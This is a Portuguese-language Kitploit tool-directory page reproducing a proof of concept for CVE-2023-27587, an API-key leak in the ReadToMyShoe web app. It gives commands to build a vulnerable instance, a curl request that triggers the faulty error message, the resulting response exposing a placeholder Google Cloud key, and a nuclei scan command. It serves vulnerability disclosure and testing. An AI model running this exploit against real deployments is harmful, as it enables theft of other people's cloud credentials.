Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-27587-PoC — O PoC simples do CVE-2023-27587 | Kitploit
Ferramentas/GitHubGitHub/vagnerd/cve-2023-27587-poc
Análise de VulnerabilidadesExploraçãoColeta de InformaçõesSegurança WebDetecção de SegredosSegurança de API
GitHubvagnerd/cve-2023-27587-poc

CVE-2023-27587-PoC

O PoC simples do CVE-2023-27587

Ver Repositório
5151há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-27587-PoC

O PoC simples da CVE-2023-27587

O que é o ReadToMyShoe?

ReadtoMyShoe (RTMS) é uma aplicação web (rust, yew e axum) que permite carregar artigos (através de URL ou colando diretamente) e ouvi-los mais tarde.

Impacto

Se ocorrer um erro ao adicionar um artigo, o site mostra ao usuário uma mensagem de erro. Se o erro se originar da requisição do Google Cloud TTS, a mensagem incluirá o URL completo da requisição. O URL da requisição contém a chave da API do Google Cloud.

PoC

Configurar o ReadtoMyShoe vulnerável

root@kitploit:~
$ git clone https://github.com/rozbb/readtomyshoe.git
$ cd readtomyshoe && git checkout v0.2.0
$ echo "GCP_KEY_LEAKED_TEST" > server/gcp_api.key
$ DOCKER_BUILDKIT=1 docker build -t readtomyshoe-vul .
$ docker run -p 9382:9382 readtomyshoe-vul

Exploit

A chave só é exposta quando ocorre um erro na chamada GCP!

root@kitploit:~
curl 'http://192.168.15.201:9382/api/add-article-by-text' -X POST \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'content-type: application/json' \
  --data-raw '{"title":"Kernsicherheitstest","body":"Kernsicherheitstest"}'
Baixar ferramenta

Erro de resposta (chave de API exposta):

root@kitploit:~
TTS failed: TTS request failed

Caused by:
    HTTP status client error (400 Bad Request) for url (https://texttospeech.googleapis.com/v1beta1/text:synthesize?key=GCP_KEY_LEAKED_TEST%0A)

Screenshot from 2023-03-15 13-03-59

nuclei-template

https://github.com/projectdiscovery/nuclei-templates/blob/main/cves/2023/CVE-2023-27587.yaml

root@kitploit:~
$ nuclei -t cves/2023/CVE-2023-27587.yaml -u http://<host>

Screenshot from 2023-03-15 13-22-23

Referências

https://github.com/rozbb/readtomyshoe/security/advisories/GHSA-23g5-r34j-mr8g

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27587

https://beta.readtomyshoe.com/